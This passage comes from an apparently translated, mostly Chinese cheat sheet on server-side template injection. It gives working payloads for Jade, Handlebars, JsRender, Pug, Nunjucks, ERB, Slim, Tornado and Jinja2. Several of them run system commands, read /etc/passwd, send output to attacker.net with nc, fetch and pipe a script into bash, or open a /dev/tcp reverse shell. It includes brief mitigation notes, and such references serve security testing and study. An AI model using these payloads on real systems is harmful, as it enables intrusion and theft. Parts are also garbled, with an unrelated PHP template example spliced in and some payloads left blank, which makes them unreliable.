```
# SSTI (Server-Side Template Injection)
Server-Side Template Injection (SSTI) is a vulnerability that allows an attacker to inject malicious code into a server-side template, which is then executed by the server. This can lead to remote code execution (RCE) and other serious security issues.
## Exploiting SSTI in `authors.php`
In the `authors.php` file, there may be a vulnerability that allows for SSTI. This vulnerability can be exploited by injecting malicious code into the server-side template.
To exploit this vulnerability, follow these steps:
1. Identify the injection point: Look for user-controlled input that is directly used in the template engine. This can include variables, function calls, or other template constructs.
2. Craft the payload: Create a payload that will execute arbitrary code on the server. This can be done by injecting code that will be executed by the template engine.
3. Test the payload: Inject the payload into the vulnerable input and observe the server's response. If the payload is executed and the server's response includes the expected output, then the vulnerability has been successfully exploited.
4. Exploit the vulnerability: Once the vulnerability has been confirmed, the attacker can proceed to exploit it further. This can include executing arbitrary commands, accessing sensitive information, or even gaining remote access to the server.
## Prevention and Mitigation
To prevent SSTI vulnerabilities, it is important to follow secure coding practices:
- Input validation and sanitization: Always validate and sanitize user input before using it in a template engine. This can help prevent malicious code from being injected.
- Use a secure template engine: Choose a template engine that has built-in security features, such as automatic escaping of user input. This can help mitigate the impact of SSTI vulnerabilities.
- Keep software up to date: Regularly update the software and libraries used in your application to ensure that any known vulnerabilities are patched.
- Implement strict access controls: Limit the privileges of the server-side template engine to minimize the potential impact of an SSTI vulnerability.
By following these best practices, you can reduce the risk of SSTI vulnerabilities and protect your application from potential attacks.
```php
'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
```
### Jade(NodeJS)
Jade是一个基于NodeJS的模板引擎,用于生成HTML。它使用简洁的语法和缩进来创建模板,然后将其编译为HTML。Jade模板可以包含动态内容和表达式,使其具有强大的灵活性。
#### 检测SSTI漏洞
要检测Jade模板中的SSTI漏洞,可以尝试在模板中插入恶意代码,并查看是否能够执行。以下是一些常见的注入点:
- 属性值:尝试在属性值中插入恶意代码,例如``。
- 文本内容:尝试在文本内容中插入恶意代码,例如``。
- 表达式:尝试在表达式中插入恶意代码,例如`#{7*7}`。
#### 防御措施
要防止SSTI漏洞,可以采取以下措施:
- 输入验证和过滤:对用户输入进行验证和过滤,确保只接受预期的输入。
- 模板沙盒化:将模板引擎配置为运行在沙盒环境中,限制其访问敏感资源。
- 模板白名单:限制可用的模板标签和函数,只允许使用安全的选项。
- 输入编码:对用户输入进行适当的编码,以防止注入攻击。
#### 漏洞利用
如果成功利用了SSTI漏洞,攻击者可以执行任意代码,包括读取敏感数据、执行系统命令等。因此,及时修复和防止SSTI漏洞非常重要。
```javascript
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
```
```javascript
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
```
**更多信息**
* 在Jade部分的[https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen)
### patTemplate (PHP)
> [patTemplate](https://github.com/wernerwa/pat-template) 是一个非编译的PHP模板引擎,使用XML标签将文档分成不同的部分。
```xml
This is the main page.
It contains another template.
Hello {NAME}.
```
### Handlebars (NodeJS)
路径遍历(更多信息[在这里](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/))。
```bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
```
* \= 错误
* ${7\*7} = ${7\*7}
* 无
```java
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
```
**更多信息**
* [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)
### JsRender(NodeJS)
| **模板** | **描述** |
| -------- | ---------------------------------------- |
| | 评估和渲染输出 |
| | 评估和渲染HTML编码的输出 |
| | 注释 |
| 和 | 允许代码(默认禁用) |
* \= 49
**客户端**
```python
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
```
**服务器端**
```bash
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
```
**更多信息**
* [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/)
### PugJs (NodeJS)
* `#{7*7} = 49`
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`
**服务器端渲染示例**
```javascript
var pugjs = require('pug');
home = pugjs.render(injected_page)
```
**更多信息**
* [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/)
### NUNJUCKS (NodeJS)
* \{{7\*7\}} = 49
* \{{foo\}} = 没有输出
* \#{7\*7} = #{7\*7}
* \{{console.log(1)\}} = 错误
```javascript
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
```
**更多信息**
* [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine)
### ERB(Ruby)
* `{{7*7}} = {{7*7}}`
* `${7*7} = ${7*7}`
* `<%= 7*7 %> = 49`
* `<%= foobar %> = Error`
```python
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
```
**更多信息**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
### Slim (Ruby)
* `{ 7 * 7 }`
```
{ %x|env| }
```
**更多信息**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
### Python
查看以下页面以了解有关在Python中绕过沙箱的**任意命令执行技巧**:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
{% endcontent-ref %}
### Tornado (Python)
* `{{7*7}} = 49`
* `${7*7} = ${7*7}`
* `{{foobar}} = Error`
* `{{7*'7'}} = 7777777`
```python
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
```
**更多信息**
### Jinja2(Python)
[官方网站](http://jinja.pocoo.org)
> Jinja2是一个功能齐全的Python模板引擎。它具有完全的Unicode支持,可选的集成沙箱执行环境,被广泛使用并且使用BSD许可证。
* `{{7*7}} = 错误`
* `${7*7} = ${7*7}`
* `{{foobar}} 无结果`
* `{{4*4}}[[5*5]]`
* `{{7*'7'}} = 7777777`
* `{{config}}`
* `{{config.items()}}`
* `{{settings.SECRET_KEY}}`
* `{{settings}}`
* ``
```python
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
```
**Jinja2 - 模板格式**
Jinja2是一种流行的Python模板引擎,常用于Web应用程序中的服务器端模板渲染。它具有简洁的语法和强大的功能,使开发人员能够轻松地生成动态内容。
Jinja2模板使用双大括号`{{ }}`来表示变量,并使用`{% %}`来表示控制流语句,如条件语句和循环语句。以下是一些常见的Jinja2模板语法示例:
- 变量插值:`{{ variable }}`
- 控制流语句:`{% if condition %} ... {% endif %}`
- 循环语句:`{% for item in list %} ... {% endfor %}`
- 过滤器:`{{ variable | filter }}`
Jinja2模板还支持嵌套和继承,使开发人员能够构建复杂的模板结构。
**服务器端模板注入(SSTI)**
服务器端模板注入(SSTI)是一种安全漏洞,允许攻击者在服务器端模板中执行恶意代码。攻击者可以通过注入恶意模板代码来执行任意命令、访问敏感数据或完全控制服务器。
SSTI漏洞通常发生在未正确过滤或验证用户输入的情况下。攻击者可以通过在用户输入中注入Jinja2模板代码来利用这种漏洞。
**利用SSTI漏洞**
要利用SSTI漏洞,攻击者需要找到一个接受用户输入并将其作为模板渲染的漏洞点。然后,攻击者可以通过注入恶意的Jinja2模板代码来执行任意命令或访问敏感数据。
以下是一些常见的SSTI漏洞利用技巧:
- 执行命令:通过注入`{{ ''.__class__.__mro__[1].__subclasses__()[].__init__.__globals__['os']. }}`来执行系统命令。
- 访问敏感数据:通过注入`{{ config.items() }}`来访问应用程序的配置信息。
- 控制流语句绕过:通过注入`{{ ''.__class__.__mro__[1].__subclasses__()[].__init__.__globals__['__builtins__']['']() }}`来绕过控制流语句的限制。
**防御SSTI漏洞**
要防御SSTI漏洞,开发人员应该始终对用户输入进行严格的过滤和验证。以下是一些防御措施:
- 使用白名单过滤:只允许特定的安全模板标签和过滤器。
- 输入验证:对用户输入进行验证,确保其符合预期的格式和类型。
- 模板沙箱:将模板渲染限制在安全的沙箱环境中,以防止恶意代码执行。
通过采取这些防御措施,可以有效减少SSTI漏洞的风险,并提高应用程序的安全性。
```python
{% raw %}
{% extends "layout.html" %}
{% block body %}